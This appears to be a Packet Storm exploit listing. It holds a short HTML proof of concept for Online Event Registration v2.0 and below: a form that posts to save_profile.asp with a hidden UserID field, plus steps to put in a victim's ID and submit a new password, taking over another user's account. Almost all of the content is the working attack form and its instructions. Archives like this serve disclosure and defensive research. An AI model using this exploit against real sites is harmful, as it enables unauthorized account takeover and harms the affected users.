Online Event Registration versions 2.0 and below remote user password change exploit that makes use of save_profile.asp.
e66e39a8d277a87eb72958e93a3e5762cc5d86b4c8490499a8ef95be94fcda87<!--
# Title : Online Event Registration <= v2.0 (save_profile.asp) Remote User Pass Change Exploit
# Author : ajann
[Code]]]
-->
<html>
<body bgcolor="#000000">
<form method="POST" action="save_profile.asp?key=1®key=">
User Name<input type="hidden" name="UserID" size="4">
<input type="text" name="UserName" size="20" class="TBox" value="Demo Account" maxlength="40">
<input type="text" name="Company" size="40" class="TBox" value="Demo Account">
Email<input type="text" name="EmailAddress" size="40" class="TBox" value="demo@codewidgets.net" maxlength="40">
Phone<input type="text" name="Phone" size="20" class="TBox" value="780-429-2318" maxlength="14">
Fax<input type="text" name="Fax" size="20" class="TBox" value="780-429-2319">
Password<input name="Password" size="20" class="TBox" value="demo" maxlength="10">
<input type="submit" value="Submit" name="B1" class="PButton">
</form>
</body>
</html>
<!--
[/Code]]]
Change: <input type="hidden" name="UserID" size="4"> => ID
Next Click "Profile"
#ajann,Turkey
#...
#Im Not Hacker!
-->
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed